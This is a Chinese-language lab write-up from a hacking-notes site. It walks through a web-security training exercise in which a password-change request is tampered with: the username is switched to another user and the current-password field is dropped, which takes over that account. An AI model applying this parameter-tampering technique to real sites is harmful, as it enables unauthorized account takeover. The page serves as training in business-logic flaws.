> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/business-logic/weak-isolation-on-dual-use-endpoint.md).

# 双用途端点上的弱隔离性

### 双用途端点上的弱隔离

**实验说明**

此实验室基于一个错误的假设，即仅根据客户端发送的参数来判断用户权限级别。/ 通过利用账户管理功能中的逻辑缺陷，可以控制任意账户，包括管理员账户。

\*\* 目标：\*\*/ 访问管理员账户并删除用户 **carlos**.

**提供的凭据：**

* 用户： `wiener`
* 密码： `peter`

<figure><img src="/files/1b7131a8c85dfdb05a7401634c36c8bfc82c9a3c" alt=""><figcaption></figcaption></figure>

**观察密码修改机制**

一旦连接到 `wiener` 该账户后，有一个功能允许你修改密码。/ 发送到服务器的请求如下：

```bash
csrf=3wgY9AYHzbOWg73KitML2AQkY0fef2kK
&username=wiener
&current-password=peter
&new-password-1=jordan
&new-password-2=jordan
```

服务器使用 `username` 客户端提供的参数来确定要更改的账户。

<figure><img src="/files/25e2c12fd66cf6ae74c3282da20252a2f50ed69a" alt=""><figcaption></figcaption></figure>

**利用逻辑缺陷**

通过修改查询，可以针对其他用户。

<figure><img src="/files/c519fc949bec4f95571c4c74e32b054ce92f68dd" alt=""><figcaption></figcaption></figure>

此外， `current-password` 参数没有被正确检查。

修改后的用户请求 **carlos**:

{% code overflow="wrap" %}

```bash
csrf=3wgY9AYHzbOWg73KitML2AQkY0fef2kK
&username=carlos
&new-password-1=jordan
&new-password-2=jordan
```

{% endcode %}

<figure><img src="/files/0079ecde23bf245a3d52dda5db5c2d683c451aa7" alt=""><figcaption></figcaption></figure>

服务器接受该请求并修改该账户的密码 **carlos**，而无需提供旧密码。


---

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